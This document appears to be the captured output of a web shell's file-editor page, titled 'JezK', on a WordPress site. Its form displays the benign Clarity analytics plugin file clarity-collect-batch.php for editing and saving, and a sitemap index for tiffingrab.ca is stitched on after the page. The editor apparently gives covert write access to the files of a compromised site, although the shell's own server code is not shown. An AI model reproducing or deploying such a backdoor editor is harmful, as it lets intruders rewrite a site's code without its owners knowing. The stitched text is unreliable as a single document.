
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: clarity-collect-batch.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

// Batch helpers for collect events.

const CLARITY_COLLECT_BATCH_SIZE = 50;
const CLARITY_COLLECT_CRON_INTERVAL = 300;
const CLARITY_COLLECT_CRON_SCHEDULE = &#039;clarity_request_recurrence&#039;;
const CLARITY_COLLECT_CRON_HOOK = &#039;clarity_collect_batch_cron&#039;;

/**
 * Registers a 5-minute cron schedule.
 *
 * @param array $schedules Existing schedules.
 * @return array Updated schedules.
 */
function clarity_register_collect_schedule($schedules)
{
    if (!isset($schedules[CLARITY_COLLECT_CRON_SCHEDULE])) {
        $schedules[CLARITY_COLLECT_CRON_SCHEDULE] = array(
            &#039;interval&#039; =&gt; CLARITY_COLLECT_CRON_INTERVAL,
            &#039;display&#039;  =&gt; &#039;Every &#039; . CLARITY_COLLECT_CRON_INTERVAL . &#039; seconds&#039;
        );
    }

    return $schedules;
}

// Registering the Clarity collect schedule to the list of cron schedules
// This is done through a filter registering to $schedules.
add_filter(&#039;cron_schedules&#039;, &#039;clarity_register_collect_schedule&#039;);

/**
 * Schedules the recurring batch worker if not already scheduled.
 */
function clarity_maybe_schedule_collect_recurring()
{
    if (wp_next_scheduled(CLARITY_COLLECT_CRON_HOOK)) {
        return;
    }

    wp_schedule_event(time() + 5, CLARITY_COLLECT_CRON_SCHEDULE, CLARITY_COLLECT_CRON_HOOK);
}

/**
 * Flushes pending events and clears the recurring batch worker.
 */
function clarity_flush_and_clear_collect_recurring()
{
    clarity_send_collect_event_batch_worker();
    wp_clear_scheduled_hook(CLARITY_COLLECT_CRON_HOOK);
}

/**
 * Runs the batch sender on cron.
 */
function clarity_send_collect_event_batch_worker()
{
    global $wpdb;

    if (!$wpdb-&gt;ready || !clarity_collect_events_table_exists()) {
        return;
    }

    $rows = clarity_fetch_and_delete_pending_events_transactionally();
    if (empty($rows)) {
        return;
    }

    $events = clarity_build_events_from_rows($rows);
    if (empty($events)) {
        return;
    }

    foreach (array_chunk($events, CLARITY_COLLECT_BATCH_SIZE) as $batch) {
        clarity_send_collect_event_batch($batch);
    }
}

add_action(CLARITY_COLLECT_CRON_HOOK, &#039;clarity_send_collect_event_batch_worker&#039;);

/**
 * Builds event payloads from pending rows.
 *
 * @param array $rows Pending rows.
 * @return array Payloads to send.
 */
function clarity_build_events_from_rows($rows)
{
    $events = array();
    foreach ($rows as $row) {
        $payload = json_decode($row[&#039;payload&#039;], true);
        if (is_array($payload)) {
            $events[] = $payload;
        }
    }

    return $events;
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://tiffingrab.ca/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
